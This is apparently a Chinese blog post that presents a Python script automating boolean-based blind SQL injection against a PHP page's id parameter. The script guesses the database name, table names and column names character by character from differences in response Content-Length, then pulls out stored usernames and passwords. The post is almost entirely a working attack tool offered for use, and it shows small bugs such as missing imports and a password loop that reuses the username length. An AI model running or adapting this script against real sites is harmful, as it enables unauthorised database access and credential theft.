python布尔盲注的脚本

使用python，编写一个可以自动爆破的布尔盲注脚本，根据不同情况调整里面的Content-Length的值

class bool():
    def __init__(self):
        self.url='http://192.168.18.141/sefa15/book/xian.php?id=7'
        self.data=string.ascii_lowercase + string.digits + '_-?,.'  #公共使用的资源
    def request(self,sql):
        num = requests.get(sql)
        nu = num.headers['Content-Length']  #全都需要使用的步骤，获取响应头部信息
        return nu
    def bool_sql(self):
        for i in range(1,10):   #这里只设置了1-9有需要可以修改
            pay=f' and length(database())={i}'
            sql=self.url+pay
            nu=self.request(sql)  #获取判断响应头部
            if nu !='2199':   #这个值，页面都是不同的
                return i
    def bool_sql_def(self):
        n=self.bool_sql()
        s=''
        for i in range(1,n+1):
            for da in self.data:
                pay=f" and substr(database(),{i},1)='{da}'"
                sql=self.url+pay
                nu = self.request(sql)
                if nu =='2116':
                    s+=da
        print(f'库名{s}')  #库名出来了
        return s
    def bool_sql_colu(self):
        for i in range(1,100):
            pay=f' and (length((select group_concat(table_name) from information_schema.tables where table_schema=database() )))={i}'
            sql=self.url+pay
            nu = self.request(sql)
            if nu=='2280':   #表的长度
                print(f'表长度{i}')
                return i
    def bool_sql_colu_def(self):
        n=self.bool_sql_colu()
        s=''
        # print(n)
        for i in range(1, n + 1):
            for da in self.data:
                pay=f" and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1))='{da}'"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2290' or nu=='2292':   #发现库有两个值，发现不全
                    s=s+da
        print(f'表名{s}')
        return s
    def bool_sql_fie(self):
        s=self.bool_sql_colu_def()
        s=(s.split(','))  #转换列
        self.v=[]
        for i in s:
            if i == 'users' or i == 'use':  #进行判断，找出所有可能的表
                self.v.append(i)
        for z in self.v:
            for n in range(1,100):
                pay=f" and (length((select group_concat(column_name) from information_schema.columns where table_name='{z}' )))={n}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2274':
                    print(f'字段长度{n}')
                    return n
    def bool_sql_fie_def(self):
        n=self.bool_sql_fie()
        s=''
        for z in self.v:   #因为可能不止一个含有user库，无法判断因此进行多次循环，遍历所有可能性
            for i in range(1, n + 1):
                for da in self.data:
                    pay=f" and (substr((select group_concat(column_name) from information_schema.columns where table_name='{z}') ,{i},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2284' or nu == '2286':
                        s = s + da
        print(f'字段名{s}')
        return s
    def bool_data(self):
        k = self.bool_sql_def()
        s=self.bool_sql_fie_def()
        s = (s.split(','))
        self.paw=''
        self.use=''
        p=''
        u=''
        for z in s:
            if z == 'username':
                self.use=z
            elif z == 'password':
                self.paw=z
        for x in self.v:
            for i in range(1,50):
                pay=f" and (length((select group_concat({self.use}) from {k}.{x} )))={i}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2186':
                    u=i
        for x in self.v:
            for i in range(1, 50):
                pay = f" and (length((select group_concat({self.paw}) from {k}.{x} )))={i}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2186':
                    p=i
        print(f'用户名数据长度{u}')
        print(f'密码数据长度{p}')
        return u,p
    def bool_user_password(self):
        ure=''
        pas=''
        usernum,pawnum=self.bool_data()
        k = self.bool_sql_def()
        for x in self.v:  #同样对所有可能进行遍历
            for u in range(1,usernum+1):
                for da in self.data:
                    pay=f" and (substr((select group_concat({self.use}) from {k}.{x} ),{u},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2196' or nu == '2198':
                        ure+=da
        for x in self.v:
            for u in range(1, usernum + 1):
                for da in self.data:
                    pay = f" and (substr((select group_concat({self.paw}) from {k}.{x} ),{u},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2196' or nu == '2198':
                        pas += da
        ure = (ure.split(','))
        pas = (pas.split(','))
        mes=dict(zip(ure,pas))
        print(f'用户名和密码是{mes}')  #进行字典处理方便后续查看
if __name__ == '__main__':
    # time_sql()
    bool=bool()
    bool.bool_user_password()